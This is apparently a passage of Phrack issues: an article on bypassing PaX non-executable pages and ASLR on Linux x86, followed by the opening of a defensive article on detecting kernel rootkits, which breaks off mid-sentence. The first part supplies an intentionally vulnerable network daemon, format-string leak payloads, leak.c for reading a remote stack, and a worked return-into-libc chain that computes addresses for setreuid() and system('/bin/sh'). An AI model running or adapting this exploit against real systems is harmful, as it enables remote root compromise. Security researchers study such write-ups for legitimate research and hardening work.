 possible to exploit them in an ASLR environment using a derived
 technique .

-------[ 1. What you ever wanted to know about PaX

 If you dont care about PaX itself, please pass this paragraph and go read
 paragraph 2 now :)

 [a] Paging basics

 On INTEL Pentium processors, userland pages are 4Ko big . The design
 for 32 bits linear addresses (when pagination is enabled, which is
 mandatory if protected mode is enabled) is :

 |	     |		 |		|

    ^		^		^
    |		|		|_____ Page offset (12 bits)
    |		|
    |		|_____ Page table entry index (10 bits)
    |_______ Page directory entry index (10 bits)

 If no extra options (like PSE or PAE) are actived, the processor handle a
 3 level paging, using 2 intermediary tables called the page directory and
 the page table .

 On Linux, segmentation protection is not used by default (segment base
 address is 0 everywhere, and segment limit is FFFFF everywhere), it means
 that virtual address space and linear address space are the same . For
 extended information about the INTEL Pentium protected mode, please 
 refers to the Documentation reference [4], paragraph 3.6.2 describes 
 paging basics, including PDE and PTE explainations .

 For instance, linear address 0804812C can be decomposed like :

 08 + two high bits in the third nibble '0' : Page directory entry index
 two low bits in the third nibble '0' + 48  : Page table entry index
 12C (12 low bits)			    : Page offset

 [b] PAGEEXEC option

 There is a documentation on the PaX website [1] but as written on the
 webpage, it is quite outdated . I will try (thanks to the PaX team)
 to explain PaX mechanisms again and giving some details for our
 purpose :

 First, PaX hook your page fault handler . This is an routine executed
 each time you have an access problem to a memory page . Linux pages are
 all 4Ko on the platform we are interrested in . This fault can be due
 to many reasons :

 - Presence checking (not all 4Ko zone are mapped in memory at this
 moment, some pages may be swapped for instance and we want to unswap

 - Supervisor check (the page has its supervisor bit set, only the kernel
 can access it, normal behavior is to send SIGSEGV)

 - Access mode check : try to write and not allowed, try to read and not
 allowed, normal behaviour is send SIGSEGV .

 - Other reasons described in [4] .

 Since there is no dedicated bit on PDE (page directory entry) or PTE (page
 table entry) to control page execution, the PaX code has to emulate it, 
 in order to detect inserted shellcode execution in the flow .

 Every protected pages tables entries (PTE) are set to supervisor .
 Protected pages include everything (stack, heap, data pages) except the
 original executable code (executable PT_LOAD program header for each
 process object) .

 Consequences are quite directs : each time we access one of these pages,
 the page fault handler is executed because the supervisor bit has been
 detected during the linear-to-physical address translation (so called page
 table walk) . PaX can control access to the page in its PF handling code .

 What PaX can choose to do at this time :

 - If it is a read/write access, consider it as normal if original page
 flags allows it and do not kill the task . For this to work, the PaX code
 has to temporary fill the corresponding PTE to a user one (remember that
 the page has been protected with the supervisor bit whereas it contains
 userland code), then do access on the page to fill the dtlb, and set the
 page as supervisor again . This will result in further data access to the
 page not beeing filtered by PF since it will use the dtlb cached value and
 not perform a page table walk again ;)

 - If it is an execution access, kill the task and write the exploitation
 attempt in the logs .

 [c] ASLR

  => Stack ASLR

 bash$ export EGG="/bin/sh"
 bash$ cat test.c

<++> DHagainstpax/test.c !187b540a

 #include <stdio.h>
 #include <stdlib.h>

 int     main(int argc, char **argv, char **envp)
   char  *str;

   str = getenv("EGG");
   printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
          str, str, envp, argv, (u_int) str - (u_int) argv);
   return (0);


 bash$ ./a.out
 str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
 delta = 4890
 bash$ ./a.out
 str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
 delta = 1930
 bash$ ./a.out
 str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
 delta = 1946
 bash$ chpax -v a.out
 a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
 restricted, mmap() base is randomized, ET_EXEC base is randomized

 After investigation, it seems like the stack address is randomized on
 the 28 low bits, but in 2 times, which explain why the EGG environment
 variable is always on the same page offset (ECE) . First, bits 12 to 27 get
 randomized, then environment is copied on the stack, finally the page
 offset (bits 0 to 11) is randomized using some %esp padding . Note that
 low 4 bits are always 0 because the kernel enforces 16 bytes 
 alignement after the %esp pad . This is not a big vulnerability and 
 you dont need it to manage ASLR exploitation, even if it might help 
 in some cases . It may be corrected in the next PaX version however .

  => Libraries ASLR

 bash$ cat /proc/self/maps | grep libc
 409da000-40ae1000 r-xp 00000000 03:01 833281     /lib/
 40ae1000-40ae7000 rw-p 00106000 03:01 833281     /lib/
 bash$ cat /proc/self/maps | grep libc
 4e742000-4e849000 r-xp 00000000 03:01 833281     /lib/
 4e849000-4e84f000 rw-p 00106000 03:01 833281     /lib/
 bash$ cat /proc/self/maps | grep libc
 4b61b000-4b722000 r-xp 00000000 03:01 833281     /lib/
 4b722000-4b728000 rw-p 00106000 03:01 833281     /lib/

 Library base addresses get randomized on 16 bits (bits 12 to 27) . Page
 offset (low 12 bits) is not randomized, the high nibble is not randomized
 as well (always '4' to allow big library mapping, this nibble wont change
 unless a very big zone is mapped) . We already note that there's no NUL
 bytes in the library addresses, the PaX team choosed to randomize address
 on 16 bits instead .

  => Executable PT_LOAD double mapping technique

  In order to block classical return-into-plt exploits, we can use two
  mechanisms . The first one consists in automatically remapping the
  executable program header (containing the binary .plt) and set the
  old (original) mapping as non-executable using the PAGEXEC option .

  For obscure reasons linked to crt*.o PIC code, vm_areas framing the
  remapped region have to share the same physical address than vm_areas
  framing the original region but that's not important for the presented
  attack .

  The data PT_LOAD program header is not moved because the remapped code
  may contains absolute references to it . This is a vulnerability because
  it makes .got accessible in rw mode . We could for instance poison
  the table using partial entry overwrite (overwriting only 1 or 2 bytes in
  the entry) but this wont be discussed in the paper since this attack is
  derived from [5] and would require similar conditions . Moreover, the
  remapping option is time consuming and we prefer using full relinking .

  => ET_EXEC to ET_DYN full relinking technique

  Now it comes more tricky ;p Maybe you already noticed executable
  libraries in your tree . These objects are ET_DYN (shared) and contains
  a valid entry point and valid interpreter (.interp) section . is
  very good examples :

  bash$ /lib/
  GNU C Library stable release version 2.2.3, by Roland McGrath et al.
  Report bugs using the `glibcbug' script to <>.

  bash$ /usr/lib/
  Segmentation fault

  If we look closer at these libraries, we can see :

  bash$ objdump -x /lib/ | grep INTERP
   INTERP off    0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0
  bash$ objdump -x /usr/lib/ | grep INTERP

  A sample relinking package called can be obtained on the PaX
  website, it shows how to perform relinking for your own binaries . For
  this, you just have to request a PT_INTERP segment to be created (not
  the case by default except for libc) and have a valid entry point
  function (a main function is enough) .

  This relinking will result in all zone (code and data program header)
  beeing mapped as shared libraries, with base address randomized using
  the standard PaX mmap() mechanism . This is the protection we are going 
  to defeat .

 [d] Last enforcements

  PaX also prevents from mprotect() based attacks, when mprotect is
  used to regain execution rights on a shellcode inserted in the stack for
  instance . It matters because in case we are able to guess the mprotect()
  absolute address, we wont be able to abuse it .

  Trampoline emulation is not explained because it doesnt matter for our
  purpose .

-------[ 2. ASLR weaknesses

 [a] As we saw, page offset is 12 bits long . It means that a one byte
 EIP overflow is not risky because we know that the modified return
 address will still point in the same page, since the INTEL x86 architecture
 is little endian . Partial overflows have not been studied much, except for
 the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using
 this technique we can replay or bypass part of the original code .

 What is more interresting for us is replaying code, in our case, replaying
 buffer overflows, so that we'll be able to control the process execution
 flow and replay vulnerable code as much as needed . We start thinking
 about some brute forcing mechanism but we want to avoid crashing the
 program .

 [b] What we have to do against PaX ASLR is retreiving information about
 the process, more precisely about the process address space .

 I'll ask you to have a look at this sample vulnerable code before saying
 the whole technique :

<++> DHagainstpax/pax_daemon.c !d75c8383

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define		NL		'\n'
#define		CR		'\r'
#define		OKAY_PASS	"evil"
#define		FATAL(str)	{ perror(str); exit(-1); }

int		verify(char *pass);
int		do_auth();

char		pass[48];
int		len;

int	main(int argc, char **argv)
  return (do_auth());

/* Non-buggy passwd based authentication */
int		do_auth()
  printf("Password: ");
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
  pass[len] = 0;
  if (!verify(pass))
      printf("Access granted .\n");
      return (0);

  printf("You loose !");
  return (-1);

/* Buggy password check (stack based overflow) */
int		verify(char *pass)
  char		filtered_pass[32];
  int		i;

  bzero(filtered_pass, sizeof(filtered_pass));

  /* this protocol is a pain in the ass */
  for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
    filtered_pass[i] = pass[i];

  if (!strcmp(filtered_pass, OKAY_PASS))
    return (0);

  return (-1);


 This is a tiny password based authentication daemon, running throught
 inetd or at the command line . For inetd use, here is the line to
 add in inetd.conf :

 666 stream tcp nowait root /usr/sbin/tcpd \

 Just replace the command line with your own path for the daemon, inform
 inetd about it, and verify that it works well :

 bash$ pidof inetd
 bash$ kill -HUP 99
 bash$ netstat -a -n | grep 666
 tcp        0      0   *          LISTEN

 This is a quite dumb code printing a password prompt, waiting for an
 input, and comparing it with the valid password, filtering CR and NL
 caracters .

 bash$ ./paxtestd
 Password: toto
 You loose !
 bash$ ./paxtestd
 Password: evil
 Access granted .

 For bored people who think that this code cant be found in the wild,
 I would just argue that this work is proof of concept . Exploitation
 conditions are generalized in paragraph 4 .

 We can easily idenfify a stack based buffer overflow vulnerability
 in this daemon, since the filtered_pass[] buffer is filled with the
 pass[] buffer, the copy beeing filtered in a 'for' loop with a missing
 size checking condition .

 [b] What can we do to exploit this vulnerability in a PaX full random
 address space protected environment ? If we look closed, here is what
 we can see :

  printf("Password: ");
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
  pass[len] = 0;
  if (!verify(pass))

 The assembler dump (slighly modified to match symbol names cause
 objdump symbol matching sucks :) for do_auth() looks like that :

 804858c:	55                   	push   %ebp
 804858d:	89 e5                	mov    %esp,%ebp
 804858f:	83 ec 08             	sub    $0x8,%esp
 8048592:	83 c4 f4             	add    $0xfffffff4,%esp
 8048595:	68 bc 86 04 08       	push   $0x80486bc
 804859a:	e8 5d fe ff ff       	call   80483fc		<printf>
 804859f:	83 c4 f4             	add    $0xfffffff4,%esp
 80485a2:	ff 35 00 98 04 08    	pushl  0x8049800
 80485a8:	e8 1f fe ff ff       	call   80483cc		<fflush>
 80485ad:	83 c4 20             	add    $0x20,%esp
 80485b0:	83 c4 fc             	add    $0xfffffffc,%esp
 80485b3:	6a 2f                	push   $0x2f
 80485b5:	68 20 98 04 08       	push   $0x8049820
 80485ba:	6a 00                	push   $0x0
 80485bc:	e8 6b fe ff ff       	call   804842c		<read>
 80485c1:	89 c2                	mov    %eax,%edx
 80485c3:	89 15 50 98 04 08    	mov    %edx,0x8049850
 80485c9:	83 c4 10             	add    $0x10,%esp
 80485cc:	85 d2                	test   %edx,%edx
 80485ce:	7f 17                	jg     80485e7	    ; if (len <= 0)
 80485d0:	83 c4 f4             	add    $0xfffffff4,%esp
 80485d3:	68 c7 86 04 08       	push   $0x80486c7
 80485d8:	e8 df fd ff ff       	call   80483bc		<perror>
 80485dd:	83 c4 f4             	add    $0xfffffff4,%esp
 80485e0:	6a ff                	push   $0xffffffff
 80485e2:	e8 35 fe ff ff       	call   804841c		<exit>
 80485e7:	b8 20 98 04 08       	mov    $0x8049820,%eax
 80485ec:	c6 04 02 00          	movb   $0x0,(%edx,%eax,1)
 80485f0:	83 c4 f4             	add    $0xfffffff4,%esp
 80485f3:	50                   	push   %eax
 80485f4:	e8 27 ff ff ff       	call   8048520		<verify>
 80485f9:	83 c4 10             	add    $0x10,%esp

 More precisely:

 8048595:	68 bc 86 04 08       	push   $0x80486bc
 804859a:	e8 5d fe ff ff       	call   80483fc		<printf>
 80485f4:	e8 27 ff ff ff       	call   8048520		<verify>
 80485f9:	83 c4 10             	add    $0x10,%esp

 The 'call printf' and 'call verify' are cleary on the same page, we know 
 this because the 20 high bits of their respective linear address are the
 same . It means that we are able to return on this instruction using a 
 one (or two) byte(s) eip overflow . If we think about the stack state, 
 we can see that printf() will be called with parameters already present 
 on the stack, i.e. the verify() parameters. If we control the first 
 parameter of this function, we can supply a random format string to the 
 printf function and generate a format bug, then call the vulnerable 
 function again, this way we hope resuming the problem to a standard 
 return into libc exploit, examining the remote process address space, 
 more precisely the remote stack, in particular return addresses.

 Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer,
 and one low EIP byte) for the password input :

 "%001$08u                            \x9a"
 "%002$08u                            \x9a"
 "%003$08u                            \x9a"
 "%iii$08u                            \x9a"

 These format strings will display the 'i'th unsigned integer from the
 remote stack . Using this we can retreive interresting values using
 leak.c given at the end if this paper .

 For those who are not that familiar with format bugs, this will read
 the i'th pushed parameter on the stack (iii$) and print it as an unsigned
 integer (%u) on eight characters (8), padding with '0' char if needed .
 Format strings are deeply explained in the printf(3) manpage .

 Note that the 37th byte \x9a is the low byte in the 'call printf' linear
 address . Since the caller is responsible for parameters popping, they
 are still present on the stack when the verify function returns ('ret')
 and when the new return address is pushed by the 'call printf' so that
 the stack pointer is well synchronized .

 bash-2.05$ ./runit
 Connected! Press ^C to launch : Starting remote stack retreiving ...

 Remote stack :
 00000000 08049820 0000002F 00000001
 472ED57C 4728BE10 B9BDB84C 4727464F
 080486B0 B9BDB8B4 472C6138 473A2A58
 47281A90 B9BDB868 B9BDB888 472B42EB
 00000001 B9BDB8B4 B9BDB8BC 0804868C


 In this first example we read 80 bytes on the stack, reading 4 bytes per
 4 bytes, replaying 20 times the overflow and provoking 20 times a format
 bug, each time incrementing the 'iii' counter in the format string (see
 below) .

 As soon as we know enough information to perform a return into libc as
 described in [3], we can stop generating format bugs in loop and fully
 erase eip (and the parameters standing after eip on the stack) and
 perform standard return-into-libc exploitation . We can also choose
 to exploit the program using the generated format bugs as described it
 [8] .

-------[ 3. Understanding the exploitation step by step

 The goal is to guess libc addresses so that we can perform a standard
 return into libc exploitation . For that we will use relative offsets
 from the retaddr we can read on the stack . This paragraph has been
 done to help you in your first ASLR exploitation .

 [a] Let's understand better the execution flow using a debugger. This
 is what we can see in the gdb debugging session for the vulnerable
 daemon, at this moment waiting for its first input :

 * WITHOUT ET_EXEC base address randomization

 (gdb) bt
 #0  0x400dff14 in __libc_read () at __libc_read:-1
 #1  0x4012ca58 in __DTOR_END__ () from /lib/
 #2  0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
 #3  0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
		ubp_av=0xbffffd54, init=0x8048374 <_init>,
		fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
		stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129

 * WITH ET_EXEC base address randomization

 (gdb) bt
 #0  0x4365ef14 in __libc_read () at __libc_read:-1
 #1  0x436aba58 in __DTOR_END__ () from /lib/
 #2  0x4357d64f in ?? ()
 #3  0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
	       ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
	       fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
	       stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129

 As you can see, the symbol table is not synchronized anymore with the
 memory dump so that we cant rely on the resolved names to debug . Note
 that we will dispose of a correct symbol table in case the ET_EXEC binary
 object has been relinked into a ET_DYN one, has explained in paragraph
 1, part c .

 [b] Using the exploit, here is what we can see if we examine the stack with
 or without the ET_EXEC rand option :

 bash$ ./runit
 Connected! Press ^C to launch : Starting remote stack retreiving ...

 Remote stack (with ET_EXEC rand enabled) :
 00000000 08049820 0000002F 00000001
 482D157C 4826FE10 BDDB44DC 4825864F
 080486B0 BDDB4544 482AA138 48386A58
 48265A90 BDDB44F8 BDDB4518 482982EB
 00000001 BDDB4544 BDDB454C 0804868C

 If we disable the ET_EXEC rand option, here is what we see :

 bash$ ./runit


 Remote stack (with ET_EXEC rand disabled) :
 00000000 08049820 0000002F 00000001
 4007757C 40015E10 BFFFFCEC 0804864F
 080486B0 BFFFFD54 40050138 4012CA58
 4000BA90 BFFFFD08 BFFFFD28 4003E2EB
 00000001 BFFFFD54 BFFFFD5C 0804868C

 As we want to do a return into libc, address pointing in the libc are the
 most interresting . What we are looking for is the main() return address
 pointing in the remapped instance of the __libc_start_main function, in
 the .text section in the libc's address space .

 Here is how to interpret the stack dump :

 00000000 (...)
 B5C36C8C do_auth frame pointer
 4357D64F do_auth() return address
 080486B0 do_auth parameter ('pass' ptr)
 B5C36CC8 main() frame pointer
 435BD2EB main() return address
 00000001 argc
 B5C36CF4 argv
 B5C36CFC envp
 0804868C (...)

 [c] Now let's look at the libc binary to know the relative address for
 functions we are interrested in . For that we'll use the regex option
 in ELFsh [9] :

 bash-2.05$ elfsh -f /lib/ -sym ' strcpy '\|' exit '\|' \
 setreuid '\|' system '

 [4425]    0x750d0     strcpy    type: Function  size: 00032 bytes  => .text
 [4855]    0x48870     system    type: Function  size: 00730 bytes  => .text
 [5670]    0xc59b0   setreuid    type: Function  size: 00188 bytes  => .text
 [6126]    0x2efe0       exit    type: Function  size: 00248 bytes  => .text

 bash$ elfsh -f /lib/ -sym __libc_start_main

 [6218]  0x1d230 __libc_start_main type: Function size: 00193 bytes => .text


 [d] As the main() function return into __libc_start_main , lets look
 precisely in the assembly code where main() will return . So, we would
 know the relative offset between the needed function address and the
 address of the 'call main' instruction . This code is located in the libc.
 This dump has been taken from my default SlackWare for which you
 may not need to change relative file offsets in the exploit .

 0001d230 <__libc_start_main>:
    1d230:       55                      push   %ebp
    1d231:       89 e5                   mov    %esp,%ebp
    1d233:       83 ec 0c                sub    $0xc,%esp
    1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
    1d2e9:       ff d2                   call   *%edx
    1d2eb:       50                      push   %eax
    1d2ec:       e8 9f f9 ff ff          call   1cc90 <GLIBC_2.0+0x1cc90>

 Instructions following this last 'call 1cc90' are 'nop nop nop nop', just
 headed by the 'Letext' symbol, but thats not interresting for us .

 Because the libc might have been recompiled, it may be possible
 to have different relative offsets for your own libc built and it
 would be very difficult to guess absolute addresses just using the
 main() return address in this case. Of course, if we have a
 binary copy of the used library (like a .deb or .rpm libc package), we
 can predict these offsets without any problem . Let's look at the
 offsets for my libc version, for which the exploit is based .

 We know from the 'bt' output (see above) that the main address is the
 first __libc_start_main() parameter . Since this function has a frame
 pointer, we deduce that 8(%ebp) contains the main() absolute address .
 The __libc_start_main function clearly does an indirect call through
 %edx on it (see the last 3 instructions) :

    1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
    1d2e9:       ff d2                   call   *%edx

 We deduce that the return address we read in the process stack points
 on the intruction at file offset 1d2eb :

    1d2eb:       50                      push   %eax

 We can now calculate the absolute address we are looking for :

     . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb
     . system()        : file offset 0x48870, virtual address unknown
     . setreuid()      : file offset 0xc59b0, virtual address unknown
     . exit()	       : file offset 0x2efe0, virtual address unknown
     . strcpy()	       : file offset 0x750d0, virtual address unknown

 What we deduce from this :

     . system() addr	= main ret + (system offset - main ret offset)
			= 4003e2eb + (48870 - 1d2eb)
			= 4003e2eb + 2B585
			= 40069870

     . setreuid() addr  = main ret + (setreuid offset - main ret offset)
			= 4003e2eb + (c59b0 - 1d2eb)
			= 4003e2eb + a86c5
			= 400e69b0

     . exit() addr	= main ret + (exit offset - main ret offset)
			= 4003e2eb + (2efe0 - 1d2eb)
			= 4003e2eb + 11cf5
			= 4004ffe0

     . strcpy() addr	= 4003e2eb + (750d0 - 1d2eb)
			= 4003e2eb + 57de5
			= 400960d0

 We needs some more offsets to perform a chained return into libc and
 insert NUL bytes as explained in Nergal's paper :

     - A pointer on the setreuid() parameter reposing on the stack, to be
     used as a dst strcpy parameter (we need to nullify it) :

     do_auth fp + 28 = B5C36CC8 + 1C
		     = B5C36CE4

 The setreuid parameter address (reposing on the stack) can be found
 using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or
 if there is no frame pointer, using whatever stack variable address
 we can guess .

     - A pointer on a NUL byte to be used as a src strcpy parameter (let's
     use the "/bin/sh" final byte address)

     main ret addr + (string offset - main ret offset) + strlen("/bin/sh")
		       = 4003e2eb + (fcc19 - 1d2eb) + 7
		       = 4003e2eb + df92e + 7
		       = 4011dc19 + 7
		       = 4011dc20

     - A "/bin/sh" string with predictable absolute address for the
     system() parameter (we will find one in the libc's .rodata section
     which is part of the same zone (has the same base address) than
     libc's .text)

		    main ret addr + (string offset - main ret offset)
		       = 4003e2eb + (fcc19 - 1d2eb)
		       = 4003e2eb + df92e
		       = 4011dc19

 bash$ elfsh -f /lib/ -X '.rodata' | grep -A 1 '/bin/'

 nbits.333 + 152             0xfcc18 :   00 2F 62 69  6E 2F 73 68   ./bin/sh
 nbits.333 + 160             0xfcc20 :   00 00 00 00  00 00 00 00   ........
    zeroes + 19              0xff848 :   73 68 00 2F  62 69 6E 2F   sh./bin/
    zeroes + 27              0xff850 :   73 68 00 00  00 00 00 00   sh......
    zeroes + 560             0xffad0 :   68 00 2F 62  69 6E 2F 73   h./bin/s
    zeroes + 568             0xffad8 :   68 00 74 6D  70 66 00 77   h.tmpf.w


     - A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in
     order to do %esp lifting (we will find many ones in libc's .text)

 For 'pop ret' sequence :

 bash$ objdump -d --section='.text' /lib/ | grep ret -B 1 | \
 grep pop -A 1

   2c519:       5a                      pop    %edx
   2c51a:       c3                      ret

 For 'pop pop ret' sequence :

 bash$ objdump -d --section='.text' /lib/ | grep ret -B 3 | \
 grep pop -A 3 | grep -v leave

   4ce25:       5e                      pop    %esi
   4ce26:       5f                      pop    %edi
   4ce27:       c3                      ret

 Note: be careful and check if the addresses are contiguous for the
 3 intructions because the regex I use it not perfect for this last
 test .

 Here is how you have to fill the stack in the final overflow (each case is
 4 bytes lenght, the first dword is the return address of the vulnerable
 function) :

 0:  | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 16: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 32: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 48: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 64: | setreuid addr | 'pop; ret'      addr |setreuid argv1| system addr  |
 80: | exit     addr | "/bin/sh"       addr | ??? DONT ??? | ??? CARE ??? |

 We need to overflow at least 84 bytes after the original return address .
 This is not a problem . The 4 first return-into-strcpy are used to nullify
 the setreuid argument, which has to be a 0x00000000 dword .

-------[ 4. Exploitation conditions

   The attack suffers from many known limitations as you will see .

   [a] Looking for exploitable stack based overflows

 Not all overflows can be exploited like this . memcpy() and strncpy()
 overflows are vulnerable, so as byte-per-byte overflows . Overflow
 involving functions whoose behavior is to append a NUL byte are not
 vulnerable, except if we can find a 'call printf' instruction
 whoose absolute address low byte is NUL .

   [b] Looking for leak functions

 We can use printf() to leak information about the address space .
 We can also return into send() or write() and take advantage of 
 the very good error handling code :

 We will not crash the process if we try to read some unmapped process 
 area . From the send(3) manual page :

       EBADF  An invalid descriptor was specified.

       ENOTSOCK The argument s is not a socket.

       EFAULT An invalid user space address was specified for a parameter.

 We may want to return-into-write or return-into-any_output_function if
 there is no printf and no send somewhere near the original return
 address, but depending on the output function, it would be quite hard 
 to perform the attack since we would have to control many of the vulnerable 
 function parameters .

   [c] The frame pointer problem and workaround

 The technique also suffers from the same limitation than klog's fp
 overwriting [7] .

 If the frame pointer register (%ebp) is used between the 'call printf' and
 the 'call vuln_func', the program will crash and we wont be able
 to call vuln_func() again . Programs like:

 /* Non-buggy passwd based authentication */
 int		do_auth()
   int len;

   printf("Password: ");
   len = read(0, pass, sizeof(pass) - 1);
   if (len <= 0)
   pass[len] = 0;
   if (!verify(pass))

 are not exploitable using a return into libc because 'len' will be indexed
 through %ebp after the read() returns . If the program is compiled without
 frame pointer, such a limitation does not exist .

   [d] Discussion about segvguard

 Segvguard is a tool coded by Nergal described in his paper [3] . In
 short, this tool can be used to forbid the executable relaunching if it
 crashed too much times . If segvguard is used, we are definitely asked
 to find the output function in the very near (+- 256 bytes) or the original
 return address . If segvguard is not used, we can try a two byte EIP
 overflow and brute force the 4 randomized bits in the high part of the
 second overflowed byte . This way, we'll be able to return on a farer
 'call printf' instruction, increasing our chances .

-------[ 5. The code : DHagainstpax

 I would like to sincerely congratulate the PaX team because they own me
 (who's the ingratefull pig ? ;) and because they've done the best work I
 have ever seen in this field since Openwall . Thanks go to theowl, klog,
 MaXX, Nergal, kalou and korty for discussions we had on this issue .
 Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont
 feed the troll) . May you all guyz pray for peace .

<++> DHagainstpax/leak.c !78040134

 * Info leak code against PaX + ASLR protection .
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define	FATAL(str) { perror(str); exit(-1); }

#define	PORT_NUM		666
#define	SERVER_IP		""

#define	BUF_SIZ			37
#define	FMT			"%%%03u$08u                            \x9a"

u_int			remote_stack[RETREIVED_STACKSIZE];

void			sigint_handler(int sig)
  printf("Starting remote stack retreiving ... ");

int			main(int argc, char **argv)
  char			buff[256];
  struct sockaddr_in	addr;
  int			sock;
  int			len;
  u_int			cnt;
  u_char		fmt[BUF_SIZ + 1];

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)

  bzero(&addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT_NUM);
  addr.sin_addr.s_addr = inet_addr(SERVER_IP);

  if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)

  len = read(sock, buff, sizeof(buff) - 1);
  buff[len] = 0;
  printf("[RECEIVED FROM SERVER] *%s* \n", buff);

  signal(SIGINT, sigint_handler);
  printf("Connected! Press ^C to launch : ");

  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)
      snprintf(fmt, sizeof(fmt), FMT, cnt);
      write(sock, fmt, BUF_SIZ);
      len = read(sock, buff, sizeof(buff) - 1);
      buff[len] = 0;
      sscanf(buff, "%u", remote_stack + cnt);

  printf("\n\nRemote stack : \n");
  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4)
    printf("%08X %08X %08X %08X \n",
	   remote_stack[cnt], remote_stack[cnt + 1],
	   remote_stack[cnt + 2], remote_stack[cnt + 3]);

  return (0);


<++> DHagainstpax/Makefile !d055b5f3
## Makefile for DHagainstpax

SRC1	= pax_daemon.c
OBJ1	= pax_daemon.o
NAM1	= paxtestd
SRC2	= leak.c
OBJ2	= leak.o
NAM2	= runit
CC	= gcc
CFLAGS	= -Wall -g3 #-fomit-frame-pointer
DUMP 	= objdump -d --section='.text'
DUMP2	= objdump --syms
GREP	= grep
DUMPLOG	= $(NAM1).asm
CHPAX	= chpax -X

all	: fclean leak vuln

vuln	: $(OBJ1)
	$(CC) $(OPT) $(OBJ1) -o $(NAM1)
	@echo ""
	$(CHPAX) $(NAM1)
	$(DUMP) $(NAM1) > $(DUMPLOG)
	@echo ""
	@echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
	@echo ""
	$(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
	@echo ""
	$(DUMP2) $(NAM1) | grep printf
	@echo ""

leak	: $(OBJ2)
	$(CC) $(OPT) $(OBJ2) -o $(NAM2)

clean	:
	rm -f *.o *\# \#* *~

fclean	: clean
	rm -f $(NAM1) $(NAM2)

-------[ 6. References

 [1] PaX homepage					The PaX team

 [2] The OpenWall project				Solar Designer

 [3] Advanced return-into-lib(c) exploits		Nergal

 [4] Pentium refefence manual 'system programming guide'

 [5] Bypassing stackguard and stackshield		Kil3r/Bulba

 [6] Writing alphanumeric shellcodes			rix

 [7] Frame pointer overwriting				klog

 [8] Exploiting format bugs				scut

 [9] The ELFsh project					devhell labs

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0a of 0x12

|=------=[ Execution path analysis: finding kernel based rootkits ]=-----=|
|=----------=[ Jan K. Rutkowski <> ]=----------=|

--[ Introduction

Over the years mankind has developed many techniques for masking presence
of the attacker in the hacked system. In order to stay invisible modern
backdoors modify kernel structures and code, causing that nobody can trust
the kernel. Nobody, including IDS tools...

In the article I will present a technique based on counting executed
instructions in some system calls, which can be used to detect various
kernel rootkits. This includes programs like SucKIT or prrf (see [SUKT01]
and [PALM01]) which do not modify syscall table. I will focus on Linux
kernel 2.4, running on Intel 32-bit Family processor (ia32). 

Also at the end of the article the PatchFinder source code is included - a
proof of concept for described technique.

I am not going to explain how to write a kernel rootkit. For details I send
reader to the references. However I briefly characterize known techniques
so their resistance to presented detection method can be described.

--[ Background

Lets take a quick look at typical kernel rootkits. Such programs must solve
two problems: find a way to get into the kernel and modify the kernel in a
smart way. On Linux the first task can be achieved by using Loadable Kernel
Modules (LKM) or /dev/kmem device.

----[ getting into the kernel

Using LKM is the easiest and most elegant way to modify the running kernel.
It was probably first discussed by halflife in [HALF97].  There are many
popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However
this technique has a weak point - LKM can be disabled on some systems.

When we do not have LKM support we can use technique, developed by Silvio
Cesare, which uses /dev/kmem to access directly kernel memory (see
[SILV98]).  There is no easy work-around for this method, since patching
do_write_mem() function is not sufficient, as it was recently showed by
Guillaume Pelat (see [MMAP02]). 

----[ modifying syscall table

Providing that we can write to kernel memory, we face the problem what to

Many rootkits modifies syscall table in order to redirect some useful
system calls like sys_read(), sys_write(), sys_getdents(), etc... For
details see [HALF97] and source code of one of the popular rootkit
([KNAR01], [ADOR01]).  However this method can be traced, by simply
comparing current syscall table with the original one, saved after kernel

When there is LKM mechanism enabled in the system, we can use simple
module, which read syscall table (directly accessing kernel memory) and
then puts it into the userland (due to /proc filesystem for example).

Unfortunately when LKM is not supported we can not read kernel memory
